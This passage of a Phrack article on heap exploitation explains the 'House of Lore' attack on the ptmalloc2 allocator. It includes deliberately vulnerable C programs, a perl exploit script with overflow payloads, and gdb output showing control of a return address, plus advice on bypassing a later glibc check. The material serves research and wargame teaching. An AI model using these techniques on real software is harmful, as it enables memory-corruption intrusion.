|
==Phrack Inc.== Volume 0x0e, Issue 0x43, Phile #0x08 of 0x10 |=-----------------------------------------------------------------------=| |=-------------------=[ The House Of Lore: Reloaded ]=-------------------=| |=-------------=[ ptmalloc v2 & v3: Analysis & Corruption ]=-------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ by blackngel ]=-------------------------=| |=-----------------------------------------------------------------------=| ^^ *`* @@ *`* HACK THE WORLD * *--* * ## <blackngel1@gmail.com> || <black@set-ezine.org> * * * * (C) Copyleft 2010 everybody _* *_ --[ CONTENTS 1 - Preface 2 - Introduction 2.1 - KiddieDbg Ptmalloc2 2.2 - SmallBin Corruption 2.2.1 - Triggering The HoL(e) 2.2.2 - A More Confusing Example 3 - LargeBin Corruption Method 4 - Analysis of Ptmalloc3 4.1 - SmallBin Corruption (Reverse) 4.2 - LargeBin Method (TreeBin Corruption) 4.3 - Implement Security Checks 4.3.1 - Secure Heap Allocator (Utopian) 4.3.2 - dnmalloc 4.3.3 - OpenBSD malloc 5 - Miscellany, ASLR and More 6 - Conclusions 7 - Acknowledgments 8 - References 9 - Wargame Code --[ END OF CONTENTS .-----------. ---[ 1 ---[ Preface ]--- .-----------. No offense, I could say that sometimes the world of hackers (at least) is divided into two camps: 1.- The illustrious characters who spend many hours to find holes in the current software. 2.- And the hackers who spend most of their time to find a way to exploit a vulnerable code/environment that does not exist yet. Maybe, it is a bit confusing but this is like the early question: which came first, the chicken or the egg? Or better... Which came first, the bug or the exploit? Unlike what happens with an ordinary Heap Overflow, where we could say it's the logical progression over time of a Stack Overflow, with The House of Lore technique seems to happen something special and strange, we know it's there (a thorn in your mind), that something happens, something is wrong and that we can exploit it. But we do not know how to do it. And that is all over this stuff, we know the technique (at least the Phantasmal Phantasmagoria explanation), but perhaps has anyone seen a sample vulnerable code that can be exploited? Maybe someone is thinking: well, if the bug exists and it is an ordinary Heap Overflow... 1.- What are the conditions to create a new technique? 2.- Why a special sequence of calls to malloc( ) and free( ) allows a specific exploit technique and why another sequence needs other technique? 3.- What are the names of those sequences? Are the sequences a bug or is it pure luck? This can give much food for thought. If Phantasmal had left a clear evidence of his theory, surely we would have forgotten about it, but as this did not happened, some of us are spending all day analyzing the way to create a code that can be committed with a technique that a virtual expert gave us in 2005 in a magnificent article that everyone already knows, right? We speak about "Malloc Maleficarum" [1], great theory that I myself had the opportunity to demonstrate in practice in the "Malloc Des-Maleficarum" [2] article. But unfortunately I left a job unresolved yet. In the pas I was not able to interpret so correct one of the techniques that were presented by Phantasmal, we speak of course of "The House of Lore" technique, but in a moment of creativity it seems that I finally found a solution. Here I submit the details of how a vulnerable code can be attacked with The House of Lore (THoL from now), thus completing a stage that for some reason was left unfinished. In addition, we will target not only the smallbin corruption method which many have heard of, but we also introduce the complications in largebin method and how to solve them. I also present two variants based on these techniques that I have found to corrupt the Ptmalloc3 structure. There are also more content in this paper like a small program where to apply one of the techniques can be exploited, it is very useful for an exploiting-wargame. And... yes, THoL was exactly the thorn that I had into my mind. << One can resist the invasion of an army but one cannot resist the invasion of ideas. >> [ Victor Hugo ] .----------------. ---[ 2 ---[ Introduction ]--- .----------------. Then, before starting with practical examples, we reintroduce the technical background of the THoL. While that one might take the Phantasmal's theory as the only support for subsequent descriptions, we will offer a bigger and more deep approach to the subject and also some small indications on how you can get some information from Ptmalloc2 in runtime without having to modify or recompile your personal GlibC. We mention that dynamic hooks could be a better way to this goal. More control, more conspicuous. << Great spirits have always encountered violent opposition from mediocre minds. >> [ Albert Einstein ] .-----------------------. ---[ 2.1 ---[ KiddieDbg Ptmalloc2 ]--- .-----------------------. In an effort to make things easier to the reader when we will perform all subsequent tests, let's indicate the simple way you can use PTMALLOC2 to obtain the necessary information from within each attack. To avoid the tedious task of recompiling GLIBC when one makes a minor change in "malloc.c", we decided to directly download the sources of ptmalloc2 from: http://www.malloc.de/malloc/ptmalloc2-current.tar.gz. Then we compiled it in a Kubuntu 9.10 Linux distribution (it will not be a great effort to type a make) and you can directly link it as a static library to each of our examples like this: gcc prog.c libmalloc.a -o prog However, before compiling this library, we allowed ourselves the luxury of introducing a pair of debugging sentences. To achieve this we made use of a function that is not accessible to everybody, one has to be very eleet to know it and only those who have been able to escape to Matrix have the right to use it. This lethal weapon is known among the gurus as "printf( )". And now, enough jokes, here are the small changes in "malloc.c" to get some information at runtime: ----- snip ----- Void_t* _int_malloc(mstate av, size_t bytes) { .... checked_request2size(bytes, nb); if ((unsigned long)(nb) <= (unsigned long)(av->max_fast)) { ... } if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av,idx); if ( (victim = last(bin)) != bin) { printf("\n[PTMALLOC2] -> (Smallbin code reached)"); printf("\n[PTMALLOC2] -> (victim = [ %p ])", victim); if (victim == 0) /* initialization check */ malloc_consolidate(av); else { bck = victim->bk; printf("\n[PTMALLOC2] -> (victim->bk = [ %p ])\n", bck); set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } } } ----- snip ----- Here we can know when a chunk is extracted from its corresponding bin to satisfy a memory request of appropriate size. In addition, we can control the pointer value that takes the "bk" pointer of a chunk if it has been previously altered. ----- snip ----- use_top: victim = av->top; size = chunksize(victim); if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) { ........ printf("\n[PTMALLOC2] -> (Chunk from TOP)"); return chunk2mem(victim); } ----- snip ----- Here you simply provide a warning to be aware of when a memory request is served from the Wilderness chunk (av->top). ----- snip ----- bck = unsorted_chunks(av); fwd = bck->fd; p->bk = bck; p->fd = fwd; bck->fd = p; fwd->bk = p; printf("\n[PTMALLOC2] -> (Freed and unsorted chunk [ %p ])", p); ----- snip ----- Unlike the first two changes which were introduced in the "_int_malloc( )" function, the latter did it in "_int_free( )" and clearly indicates when a chunk has been freed and introduced into the unsorted bin for a further use of it. << I have never met a man so ignorant that I couldn't learn something from him. >> [ Galileo Galilei ] .-----------------------. ---[ 2.2 ---[ SmallBin Corruption ]--- .-----------------------. Take again before starting the piece of code that will trigger the vulnerability described in this paper: ----- snip ----- if (in_smallbin_range(nb)) { idx = smallbin_index(nb); bin = bin_at(av,idx); if ( (victim = last(bin)) != bin) { if (victim == 0) /* initialization check */ malloc_consolidate(av); else { bck = victim->bk; set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); return chunk2mem(victim); } ----- snip ----- To reach this area of the code inside "_int_malloc( )", one assumes the fact that the size of memory request is largest that the current value of "av->max_fast" in order to pass the first check and avoid fastbin[ ] utilization. Remember that this value is "72" by default. This done, then comes the function "in_smallbin_range(nb)" which checks in turn if the chunk of memory requested is less than that MIN_LARGE_SIZE, defined to 512 bytes in malloc.c. We know from the documentation that: "the size bins for less than 512 bytes contain always the same size chunks". With this we know that if a chunk of a certain size has been introduced in its corresponding bin, a further request of the same size will find the appropriate bin and will return the previously stored chunk. The functions "smallbin_index(nb)" and "bin_at(av, idx)" are responsible for finding the appropriate bin for the chunk requested. We also know that a "bin" is a couple of pointers "fd" and "bk", the purpose of the pointers is to close the doubly linked list of the free chunks. The macro "last(bin)" returns the pointer "bk" of this "fake chunk", it also indicates the last available chunk in the bin (if any). If none exists, the pointer "bin->bk" would be pointing to itself, then it will fail the search and it would be out of the smallbin code. If there is an available chunk of adequate size, the process is simple. Before being returned to the caller, it must be unlinked from the list and, in order to do it, malloc uses the following instructions: 1) bck = victim->bk; // bck points to the penultimate chunk 2) bin->bk = bck; // bck becomes the last chunk 3) bck->fd = bin; // fd pointer of the new last chunk points to the bin to close the list again If all is correct, the user is given the pointer *mem of victim by the macro "chunk2mem(victim)." The only extra tasks in this process are to set the PREV_INUSE bit of the contiguous chunk, and also to manage the NON_MAIN_ARENA bit if victim is not in the main arena by default. And here is where the game starts. The only value that someone can control in this whole process is obviously the value of "victim->bk". But to accomplish this, a necessary condition must be satisfied: 1 - That two chunks have been allocated previously, that the latter has been freed and that the first will be vulnerable to an overflow. If this is true, the overflow of the first chunk will allow to manipulate the header of the already freed second chunk, specifically the "bk" pointer because other fields are not interesting at this time. Always remember that the overflow must always occur after the release of this second piece, and I insist on it because we do not want to blow the alarms within "_int_free()" before its time. As mentioned, if this manipulated second piece is introduced in its corresponding bin and a new request of the same size is performed, the smallbin code is triggered, and therefore come to the code that interests us. "bck" is pointing to the altered "bk" pointer of victim and as a result, will become the last piece in "bin->bk = bck". Then a subsequent call to malloc( ) with the same size could deliver a chunk in the position of memory with which we had altered the "bk" pointer, and if this were in the stack we already know what happens. In this attack one must be careful with the sentence "bck->fd = bin" since this code tries to write to the pointer "fd" the bin's address to close the linked list, this memory area must have writing permissions. The only last thing really important for the success of our attack: When a chunk is freed, it is inserted into the known "unsorted bin". This is a special bin, also a doubly linked list, with the peculiarity that the chunks are not sorted (obviously) according to the size. This bin is like a stack, the chunks are placed in this bin when they are freed and the chunks will always been inserted in the first position. This is done with the intention that a subsequent call to "malloc( ), calloc( ) or realloc( )" can make use of this chunk if its size can fulfill the request. This is done to improve efficiency in the memory allocation process as each chunk introduced in the unsorted bin has a chance to be reused immediately without going through the sorting algorithm. How does this process work? All begins within "_int_malloc( )" with the next loop: while ( (victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) then takes the second last piece of the list: bck = victim->bk checks if the memory request is within "in_smallbin_range( )", and it is checked whether the request could be met with victim. Otherwise, proceed to remove victim from unsorted bin with: unsorted_chunks(av)->bk = bck; bck->fd = unsorted_chunks(av); which is the same as saying: the bin points to the penultimate chunk, and the penultimate chunk points to the bin which becomes the latest chunk in the list. Once removed from the list, two things can happen. Either the size of the removed chunk matches with the request made (size == nb) in which case it returns the memory for this chunk to the user, or it does not coincide and that's when we proceed to introduce the chunk in the adequate bin with: bck = bin_at(av, victim_index); fwd = bck->fd; ..... ..... victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim; Why do we mention this? Well, the condition that we mentioned requires that the freed and manipulated chunk will be introduced in its appropriate bin, since as Phantasmal said, altering an unsorted chunk is not interesting at this time. With this in mind, our vulnerable program should call malloc( ) between the vulnerable copy function and the subsequent call to malloc( ) requesting the same size as the chunk recently freed. In addition, this intermediate call to malloc( ) should request a size larger than the released one, so that the request can not be served from unsorted list of chunks and proceeds to order the pieces into their respective bins. We note before completing this section that a bin of a real-life application might contain several chunks of the same size stored and waiting to be used. When a chunk comes from unsorted bin, that is inserted into its appropriate bin as the first in the list, and according to our theory, our altered chunk is not being used until it occupies the last position (last(bin)). If this occurs, multiple calls to malloc( ) with the same size must be triggered so that our chunk reaches the desired position in the circular list. At that point, the "bk" pointer must be hacked. Graphically would pass through these stages: Stage 1: Insert victim into smallbin[ ]. bin->bk ___ bin->fwd o--------[bin]----------o ! ^ ^ ! [last]-------| |-------[victim] ^| l->fwd v->bk ^| |! |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 2: "n" calls to malloc( ) with same size. bin->bk ___ bin->fwd o--------[bin]----------o ! ^ ^ ! [victim]------| |--------[first] ^| v->fwd f->bk ^| |! |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 3: Overwrite "bk" pointer of victim. bin->bk ___ bin->fwd o--------[bin]----------o & stack ! ^ ^ ! ^--------[victim]------| |--------[first] v->bk ^ v->fwd f->bk ^| | |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| Stage 4: Last call to malloc( ) with same size. bin->bk ___ bin->fwd o--------[bin]----------o & -w- perm ! ^ ^ ! ^--------[&stack]------| |--------[first] v->bk ^ v->fwd f->bk ^| | |! [....] [....] \\ // [....] [....] ^ |____________^ | |________________| It is where the pointer "*mem" is returned pointing to the stack and thus giving full control of the attacked system. However as there are people who need to see to believe, read on next section. Note: I have not checked all versions of glibc, and some changes have been made since I wrote this paper. For example, on an Ubuntu box (with glibc 2.11.1) we see the next fix: ----- snip ----- bck = victim->bk; if (__builtin_expect (bck->fd != victim, 0)) { errstr = "malloc(): smallbin double linked list corrupted"; goto errout; } set_inuse_bit_at_offset(victim, nb); bin->bk = bck; bck->fd = bin; ----- snip ----- This check can still be overcome if you control an area into the stack and you can write an integer such that its value is equal to the address of the recently free chunk (victim). This must happen before the next call to malloc( ) with the same size requested. << The grand aim of all science is to cover the greatest number of empirical facts by logical deduction from the smallest number of hypotheses or axioms. >> [ Albert Einstein ] .-------------------------. ---[ 2.2.1 ---[ Triggering The HoL(e) ]--- .-------------------------. After the theory... A practical example to apply this technique, here is a detailed description: ---[ thl.c ]--- #include <stdio.h> #include <string.h> void evil_func(void) { printf("\nThis is an evil function. You become a cool \ hacker if you are able to execute it.\n"); } void func1(void) { char *lb1, *lb2; lb1 = (char *) malloc(128); printf("LB1 -> [ %p ]", lb1); lb2 = (char *) malloc(128); printf("\nLB2 -> [ %p ]", lb2); strcpy(lb1, "Which is your favourite hobby? "); printf("\n%s", lb1); fgets(lb2, 128, stdin); } int main(int argc, char *argv[]) { char *buff1, *buff2, *buff3; malloc(4056); buff1 = (char *) malloc(16); printf("\nBuff1 -> [ %p ]", buff1); buff2 = (char *) malloc(128); printf("\nBuff2 -> [ %p ]", buff2); buff3 = (char *) malloc(256); printf("\nBuff3 -> [ %p ]\n", buff3); free(buff2); printf("\nBuff4 -> [ %p ]\n", malloc(1423)); strcpy(buff1, argv[1]); func1(); return 0; } ---[ end thl.c ]--- The program is very simple, we have a buffer overflow in "buff1" and an "evil_func( )" function which is never called but which we want to run. In short we have everything we need in order to trigger THoL: 1) Make a first call to malloc(4056), it shouldn't be necessary but we use to warm up the system. Furthermore, in a real-life application the heap probably won't be starting from scratch. 2) We allocate three chunks of memory, 16, 128 and 256 bytes respectively, since no chunks has been released before, we know that they must been taken from the Wilderness or Top Chunk. 3) Free() the second chunk of 128 bytes. This is placed in the unsorted bin. 4) Allocate a fourth piece larger than the most recently freed chunk. The "buff2" is now extracted from the unsorted list and added to its appropriate bin. 5) We have a vulnerable function strcpy( ) that can overwrite the header of the chunk previously passed to free( ) (including its "bk" field). 6) We call func1( ) which allocated two blocks of 128 bytes (the same size as the piece previously released) to formulate a question and get a user response. It seems that in point 6 there is nothing vulnerable, but everyone knows that if "LB2" point to the stack, then we may overwrite a saved return address. That is our goal, and we will see this approach. A basic execution could be like this: black@odisea:~/ptmalloc2$ ./thl AAAA [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x804ffe8 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050088 ] [PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8050190 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804fff8 ]) [PTMALLOC2] -> (victim->bk = [ 0x804e188 ]) LB1 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) LB2 -> [ 0x8050728 ] Which is your favourite hobby: hack black@odisea:~/ptmalloc2$ We can see that the first 3 malloced chunks are taken from the TOP, then the second chunk (0x0804fff8) is passed to free() and placed in the unsorted bin. This piece will remain here until the next call to malloc( ) will indicate whether it can meet the demand or not. Since the allocated fourth buffer is larger than the recently freed, it's taken again from TOP, and buff2 is extracted from unsorted bin to insert it into the bin corresponding to its size (128). After we see how the next call to malloc(128) (lb1) triggers smallbin code returning the same address that the buffer previously freed. You can see the value of "victim->bk" which is what should take (lb2) after this address had been passed to the chunk2mem( ) macro. However, we can see in the output: the lb2 is taken from the TOP and not from a smallbin. Why? Simple, we've just released a chunk (only had a piece in the corresponding bin to the size of this piece) and since we have not altered the "bk" pointer of the piece released, the next check: if ( (victim = last(bin)) != bin) which is the same as: if ( (victim = (bin->bk = oldvictim->bk)) != bin) will say that the last piece in the bin points to the bin itself, and therefore, the allocation must be extracted from another place. Until here all right, then, what do we need to exploit the program? 1) Overwrite buff2->bk with an address on the stack near a saved return address (inside the frame created by func1( )). 2) This address, in turn, must fall on a site such that the "bk" pointer of this fake chunk will be an address with write permissions. 3) The evil_func()'s address with which we want to overwrite EIP and the necessary padding to achieve the return address. Let's start with the basics: If we set a breakpoint in func1( ) and examine memory, we get: (gdb) x/16x $ebp-32 0xbffff338: 0x00000000 0x00000000 0xbffff388 0x00743fc0 0xbffff348: 0x00251340 0x00182a20 0x00000000 0x00000000 0xbffff358: 0xbffff388 0x08048d1e 0x0804ffe8 0xbffff5d7 0xbffff368: 0x0804c0b0 0xbffff388 0x0013f345 0x08050088 EBP -> 0xbffff358 RET -> 0xbffff35C But the important thing here is that we must alter buff2->bk with the "0xbffff33c" value so the new victim->bk take a writable address. Items 1 and 2 passed. The evil_func()'s address is: (gdb) disass evil_func Dump of assembler code for function evil_func: 0x08048ba4 <evil_func+0>: push %ebp And now, without further delay, let's see what happens when we merge all these elements into a single attack: black@odisea:~/ptmalloc2$ perl -e 'print "BBBBBBBB". "\xa4\x8b\x04\x08"' > evil.in ... (gdb) run `perl -e 'print "A"x28 . "\x3c\xf3\xff\xbf"'` < evil.in [PTMALLOC2] -> (Chunk from TOP) Buff1 -> [ 0x804ffe8 ] [PTMALLOC2] -> (Chunk from TOP) Buff2 -> [ 0x8050000 ] [PTMALLOC2] -> (Chunk from TOP) Buff3 -> [ 0x8050088 ] [PTMALLOC2] -> (Freed and unsorted chunk [ 0x804fff8 ]) [PTMALLOC2] -> (Chunk from TOP) Buff4 -> [ 0x8050190 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804fff8 ]) [PTMALLOC2] -> (victim->bk = [ 0xbffff33c ]) // First stage of attack LB1 -> [ 0x8050000 ] [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbffff33c ]) // Victim in the stack [PTMALLOC2] -> (victim->bk = [ 0xbffff378 ]) // Address with write perms LB2 -> [ 0xbffff344 ] // Boom! Which is your favourite hobby? This is an evil function. You become a cool hacker if you are able to execute it. // We get a cool msg. Program received signal SIGSEGV, Segmentation fault. 0x08048bb7 in evil_func () (gdb) You must be starting to understand now what I wanted to explain in the preface of this article, instead of discovering or inventing a new technique, what we have been doing for a long time is to find the way to design a vulnerable application to this technique which had fallen us from the sky a few years ago. Compile this example with normal GLIBC and you will get the same result, only remember adjusting evil_func( ) address or the area where you have stored your custom arbitrary code. << The unexamined life is not worth living. >> [ Socrates ] .----------------------------. ---[ 2.2.2 ---[ A More Confusing Example ]--- .----------------------------. To understand how THoL could be applied in a real-life application, I present below a source code created by me as if it were a game, that will offer a broader view of the attack. This is a crude imitation of an agent manager. The only thing this program can do is creating a new agent, editing it (ie edit their names and descriptions) or deleting it. To save space, one could edit only certain fields of an agent, leaving the other free without taking up memory or freeing when no longer needed. In addition, to avoid unnecessary extensions in this paper, the entire information entered into the program is not saved in any database and only remains available while the application is in execution. ---[ agents.c ]--- #include <stdlib.h> #include <stdio.h> #include <string.h> void main_menu(void); void create_agent(void); void select_agent(void); void edit_agent(void); void delete_agent(void); void edit_name(void); void edit_lastname(void); void edit_desc(void); void delete_name(void); void delete_lastname(void); void delete_desc(void); void show_data_agent(void); typedef struct agent { int id; char *name; char *lastname; char *desc; } agent_t; agent_t *agents[256]; int agent_count = 0; int sel_ag = 0; int main(int argc, char *argv[]) { main_menu(); } void main_menu(void) { int op = 0; char opt[2]; printf("\n\t\t\t\t[1] Create new agent"); printf("\n\t\t\t\t[2] Select Agent"); printf("\n\t\t\t\t[3] Show Data Agent"); printf("\n\t\t\t\t[4] Edit agent"); printf("\n\t\t\t\t[0] <- EXIT"); printf("\n\t\t\t\tSelect your option:"); fgets(opt, 3, stdin); op = atoi(opt); switch (op) { case 1: create_agent(); break; case 2: select_agent(); break; case 3: show_data_agent(); break; case 4: edit_agent(); break; case 0: exit(0); default: break; } main_menu(); } void create_agent(void) { agents[agent_count] = (agent_t *) malloc(sizeof(agent_t)); sel_ag = agent_count; agents[agent_count]->id = agent_count; agents[agent_count]->name = NULL; agents[agent_count]->lastname = NULL; agents[agent_count]->desc = NULL; printf("\nAgent %d created, now you can edit it", sel_ag); agent_count += 1; } void select_agent(void) { char ag_num[2]; int num; printf("\nWrite agent number: "); fgets(ag_num, 3, stdin); num = atoi(ag_num); if ( num >= agent_count ) { printf("\nOnly %d available agents, select another", agent_count); } else { sel_ag = num; printf("\n[+] Agent %d selected.", sel_ag); } } void show_data_agent(void) { printf("\nAgent [%d]", agents[sel_ag]->id); printf("\nName: "); if(agents[sel_ag]->name != NULL) printf("%s", agents[sel_ag]->name); printf("\nLastname: "); if(agents[sel_ag]->lastname != NULL) printf("%s", agents[sel_ag]->lastname); printf("\nDescription: "); if(agents[sel_ag]->desc != NULL) printf("%s", agents[sel_ag]->desc); } void edit_agent(void) { int op = 0; char opt[2]; printf("\n\t\t\t\t[1] Edit name"); printf("\n\t\t\t\t[2] Edit lastname"); printf("\n\t\t\t\t[3] Edit description"); printf("\n\t\t\t\t[4] Delete name"); printf("\n\t\t\t\t[5] Delete lastname"); printf("\n\t\t\t\t[6] Delete description"); printf("\n\t\t\t\t[7] Delete agent"); printf("\n\t\t\t\t[0] <- MAIN MENU"); printf("\n\t\t\t\tSelect Agent Option: "); fgets(opt, 3, stdin); op = atoi(opt); switch (op) { case 1: edit_name(); break; case 2: edit_lastname(); break; case 3: edit_desc(); break; case 4: delete_name(); break; case 5: delete_lastname(); break; case 6: delete_desc(); break; case 7: delete_agent(); break; case 0: main_menu(); default: break; } edit_agent(); } void edit_name(void) { if(agents[sel_ag]->name == NULL) { agents[sel_ag]->name = (char *) malloc(32); printf("\n[!!!]malloc(ed) name [ %p ]", agents[sel_ag]->name); } printf("\nWrite name for this agent: "); fgets(agents[sel_ag]->name, 322, stdin); } void delete_name(void) { if(agents[sel_ag]->name != NULL) { free(agents[sel_ag]->name); agents[sel_ag]->name = NULL; } } void edit_lastname(void) { if(agents[sel_ag]->lastname == NULL) { agents[sel_ag]->lastname = (char *) malloc(128); printf("\n[!!!]malloc(ed) lastname [ %p ]",agents[sel_ag]->lastname); } printf("\nWrite lastname for this agent: "); fgets(agents[sel_ag]->lastname, 127, stdin); } void delete_lastname(void) { if(agents[sel_ag]->lastname != NULL) { free(agents[sel_ag]->lastname); agents[sel_ag]->lastname = NULL; } } void edit_desc(void) { if(agents[sel_ag]->desc == NULL) { agents[sel_ag]->desc = (char *) malloc(256); printf("\n[!!!]malloc(ed) desc [ %p ]", agents[sel_ag]->desc); } printf("\nWrite description for this agent: "); fgets(agents[sel_ag]->desc, 255, stdin); } void delete_desc(void) { if(agents[sel_ag]->desc != NULL) { free(agents[sel_ag]->desc); agents[sel_ag]->desc = NULL; } } void delete_agent(void) { if (agents[sel_ag] != NULL) { free(agents[sel_ag]); agents[sel_ag] = NULL; printf("\n[+] Agent %d deleted\n", sel_ag); if (sel_ag == 0) { agent_count = 0; printf("\n[!] Empty list, please create new agents\n"); } else { sel_ag -= 1; agent_count -= 1; printf("[+] Current agent selection: %d\n", sel_ag); } } else { printf("\n[!] No agents to delete\n"); } } ---[ end agents.c ]--- This is the perfect program that I would present in a wargame to those who wish to apply the technique described in this paper. Someone might think that maybe this program is vulnerable to other techniques described in the Malloc Des-Maleficarum. Indeed given the ability of the user to manage the memory space, it may seem that The House of Mind can be applied here, but one must see that the program limits us to the creation of 256 structures of type "agent_t", and that the size of these structures is about 432 bytes (approximately when you allocate all its fields). If we multiply this number by 256 we get: (110592 = 0x1B000h) which seems too small to let us achieve the desirable address "0x08100000" necessary to corrupt the NON_MAIN_ARENA bit of an already allocated chunk above that address (and thus create a fake arena in order to trigger the attack aforementioned). Another technique that one would take as viable would be The House of Force since at first it is easy to corrupt the Wilderness (the Top Chunk), but remember that in order to apply this method one of the requirements is that the size of a call to malloc( ) must been defined by the designer with the main goal of corrupting "av->top". This seems impossible here. Other techniques are also unworkable for several reasons, each due to their intrinsic requirements. So we must study how to sort the steps that trigger the vulnerability and the attack process that we have studied so far. Let's see in detail: After a quick look, we found that the only vulnerable function is: void edit_name(void) { ... agents[sel_ag]->name = (char *) malloc(32); ... fgets(agents[sel_ag]->name, 322, stdin); At first it seems a simple typographical error, but it allows us to override the memory chunk that we allocated after "agents[]->name", which can be any, since the program allows practically a full control over memory. To imitate the maximum possible vulnerable process shown in the previous section, the most obvious thing we can do to start is to create a new agent (0) and edit all fields. With this we get: malloc(sizeof(agent_t)); // new agent malloc(32); // agents[0]->name malloc(128); // agents[0]->lastname malloc(256); // agents[0]->desc The main target is to overwrite the "bk" pointer in the field "agents[]->lastname" if we have freed this chunk previously. Moreover, between these two actions, we need to allocate a chunk of memory to be selected from the "TOP code", so that the chunks present in the unsorted bin are sorted in their corresponding bins for a later reuse. For this, what we do is create a new agent(1), select the first agent(0) and delete its field "lastname", select the second agent(1) and edit its description. This is equal to: malloc(sizeof(agent_t)); // Get a chunk from TOP code free(agents[0]->lastname); // Insert chunk at unsorted bin malloc(256); // Get a chunk from TOP code After this last call to malloc( ), the freed chunk of 128 bytes (lastname) will have been placed in its corresponding bin. Now we can alter "bk" pointer of this chunk, and for this we select again the first agent(0) and edit its name (here there will be no call to malloc( ) since it has been previously assigned). At this time, we can place a proper memory address pointing to the stack and make two calls to malloc(128), first editing the "lastname" field of the second agent(1) and then editing the "lastname" field of agent(0) one more time. These latest actions should return a memory pointer located in the stack in a position of your choice, and any written content on "agents[0]->lastname" could corrupt a saved return address. Without wishing to dwell too much more, we show here how a tiny-exploit alter the above pointer "bk" and returns a chunk of memory located in the stack: ---[ exthl.pl ]--- #!/usr/bin/perl print "1\n" . # Create agents[0] "4\n" . # Edit agents[0] "1\nblack\n" . # Edit name agents[0] "2\nngel\n" . # Edit lastname agents[0] "3\nsuperagent\n" . # Edit description agents[0] "0\n1\n" . # Create agents[1] "2\n0\n" . # Select agents[0] "4\n5\n" . # Delete lastname agents[0] "0\n2\n1\n" . # Select agents[1] "4\n" . # Edit agents[1] "3\nsupersuper\n" . # Edit description agents[1] "0\n2\n0\n" . # Select agents[0] "4\n" . # Edit agents[0] "1\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" . "\x94\xee\xff\xbf" . # Edit name[0] and overwrite "lastname->bk" "\n0\n2\n1\n" . # Select agents[1] "4\n" . # Edit agents[1] "2\nother\n" . # Edit lastname agents[1] "0\n2\n0\n" . # Select agents[0] "4\n" . # Edit agents[0] "2\nBBBBBBBBBBBBBBBBBBBBB" . "BBBBBBBBBBBBBBBBBBBBBBBBBBBB\n"; # Edit lastname agents[0] # and overwrite a {RET} ---[ end exthl.pl ]--- And here is the result, displaying only the outputs of interest for us: black@odisea:~/ptmalloc2$ ./exthl | ./agents ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x8 ]) // Create new agents[0] Agent 0 created, now you can edit it ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) name [ 0x804f020 ] // Edit name agents[0] Write name for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) lastname [ 0x804f048 ] // Edit lastname agents[0] Write lastname for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) desc [ 0x804f0d0 ] // Edit description agents[0] Write description for this agent: ..... [PTMALLOC2] -> (Chunk from TOP) Agent 1 created, now you can edit it // Create new agents[1] ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... [PTMALLOC2] -> (Freed and unsorted [ 0x804f040 ] chunk) // Delete lastname ..... Write agent number: [+] Agent 1 selected. // Select agents[1] ..... [PTMALLOC2] -> (Chunk from TOP) [!!!]malloc(ed) desc [ 0x804f1f0 ] // Edit description agents[1] Write description for this agent: ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... Write name for this agent: // Edit name agents[0] Write agent number: [+] Agent 1 selected. // Select agents[1] ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0x804f048 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffee94 ]) [!!!]malloc(ed) lastname [ 0x804f048 ] Write lastname for this agent: // Edit lastname agents[1] ..... Write agent number: [+] Agent 0 selected. // Select agents[0] ..... [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbfffee94 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) [!!!]malloc(ed) lastname [ 0xbfffee9c ] // Edit lastname agents[0] Segmentation fault black@odisea:~/ptmalloc2$ Everyone can predict what happened in the end, but GDB can clarify for us a few things: ----- snip ----- [PTMALLOC2] -> (Smallbin code reached) [PTMALLOC2] -> (victim = [ 0xbfffee94 ]) [PTMALLOC2] -> (victim->bk = [ 0xbfffeec0 ]) [!!!]malloc(ed) lastname [ 0xbfffee9c ] Program received signal SIGSEGV, Segmentation fault. 0x080490f6 in edit_lastname () (gdb) x/i $eip 0x80490f6 <edit_lastname+150>: ret (gdb) x/8x $esp 0xbfffee9c: 0x42424242 0x42424242 0x42424242 0x42424242 0xbfffeeac: 0x42424242 0x42424242 0x42424242 0x42424242 (gdb) ----- snip ----- And you have moved to the next level of your favorite wargame, or at least you have increased your level of knowledge and skills. Now, I encourage you to compile this program with your regular glibc (not static Ptmalloc2), and verify that the result is exactly the same, it does not change the inside code. I don't know if anyone had noticed, but another of the techniques that in principle could be applied to this case is the forgotten The House of Prime. The requirement for implementing it is the manipulation of the header of two chunks that will be freed. This is possible since an overflow in agents[]->name can override both agents[]->lastname and agents[]->desc, and we can decide both when freeing them and in what order. However, The House of Prime needs also at least the possibility of placing an integer on the stack to overcome a last check and this is where it seems that we stay 